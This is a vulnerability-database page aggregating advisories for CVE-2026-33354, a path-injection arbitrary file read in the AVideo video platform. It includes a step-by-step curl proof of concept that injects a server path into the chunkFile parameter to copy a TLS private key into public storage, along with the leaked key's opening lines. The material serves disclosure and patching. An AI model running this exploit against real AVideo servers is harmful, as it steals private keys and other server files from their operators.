Vulnerability-Lookup

CVE-2026-33354 (GCVE-0-2026-33354)

Vulnerability from cvelistv5 – Published: 2026-03-23 13:58 – Updated: 2026-03-25 14:13

Title

AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.

Severity ?

7.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

CWE

CWE-73 - External Control of File Name or Path

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/59bbd601a3f…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33354

Vulnerability from fkie_nvd - Published: 2026-03-23 15:16 - Updated: 2026-03-24 18:57

Severity ?

7.6 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f	Patch
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker\u0027s public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, `POST /objects/aVideoEncoder.json.php` acepta un par\u00e1metro `chunkFile` controlado por el solicitante, destinado a fragmentos de carga por etapas. En lugar de restringir esa ruta a ubicaciones de fragmentos generadas por el servidor de confianza, el endpoint acepta rutas arbitrarias del sistema de archivos local que pasan `isValidURLOrPath()`. Esa funci\u00f3n auxiliar permite archivos bajo directorios amplios del servidor, incluyendo `/var/www/`, la ra\u00edz de la aplicaci\u00f3n, cach\u00e9, tmp, y `videos`, solo rechazando archivos `.php`. Para un cargador autenticado que edita su propio video, esto se convierte en una lectura arbitraria de archivos locales. El endpoint copia el archivo local elegido por el atacante en la ruta de almacenamiento de video p\u00fablico del atacante, despu\u00e9s de lo cual puede ser descargado por HTTP. El commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contiene un parche para el problema."
    }
  ],
  "id": "CVE-2026-33354",
  "lastModified": "2026-03-24T18:57:18.607",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
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          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
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        "type": "Secondary"
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}

GHSA-4JW9-5HRC-M4J6

Vulnerability from github – Published: 2026-03-19 19:34 – Updated: 2026-03-25 18:49

Summary

AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`

Details

Summary

POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.

For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.

I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.

Affected Versions / Commit

Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.

Preconditions

Authenticated account with upload permission.
Attacker owns at least one editable video record.
Target local file is readable by the web application user.

Steps to Reproduce

Log in as an upload-capable low-privileged user.
Create any attacker-owned video via the normal upload endpoint to obtain videos_id and filename.
Send a POST request to aVideoEncoder.json.php with the attacker's own videos_id, an allowed format, and a server-local chunkFile path.
Download the resulting media object from /videos/<filename>/<filename>.mp4.

Proof of Concept

The included poc.py automates the exploit against the local instance.

Manual reproduction:

# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
  -d 'user=attacker&pass=UserPass123!' \
  http://127.0.0.1/objects/login.json.php >/dev/null

# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
  -F 'upl=@poc.mp4;type=video/mp4' \
  http://127.0.0.1/view/mini-upload-form/upload.php

# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}

# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
  -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
  http://127.0.0.1/objects/aVideoEncoder.json.php

# 4. Retrieve the copied file over HTTP
curl -s \
  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head

Observed Result

The final GET returned the contents of the local TLS private key:

-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...

Severity ?

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:34:06Z",
    "nvd_published_at": "2026-03-23T15:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker\u0027s public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=\u003cown video\u003e`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker\u0027s own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/\u003cfilename\u003e/\u003cfilename\u003e.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n  -d \u0027user=attacker\u0026pass=UserPass123!\u0027 \\\n  http://127.0.0.1/objects/login.json.php \u003e/dev/null\n\n# 2. Create an attacker-owned video\nprintf \u0027x\u0027 \u003e poc.mp4\ncurl -s -b attacker.cookies \\\n  -F \u0027upl=@poc.mp4;type=video/mp4\u0027 \\\n  http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker\u0027s public video path\ncurl -s -b attacker.cookies \\\n  -d \u0027videos_id=4\u0026format=mp4\u0026title=poc\u0026description=test\u0026chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem\u0027 \\\n  http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```",
  "id": "GHSA-4jw9-5hrc-m4j6",
  "modified": "2026-03-25T18:49:20Z",
  "published": "2026-03-19T19:34:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33354"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33354 (GCVE-0-2026-33354)

FKIE_CVE-2026-33354

GHSA-4JW9-5HRC-M4J6

Summary

Affected Versions / Commit

Preconditions

Steps to Reproduce

Proof of Concept

Observed Result

Tags

Sightings

Nomenclature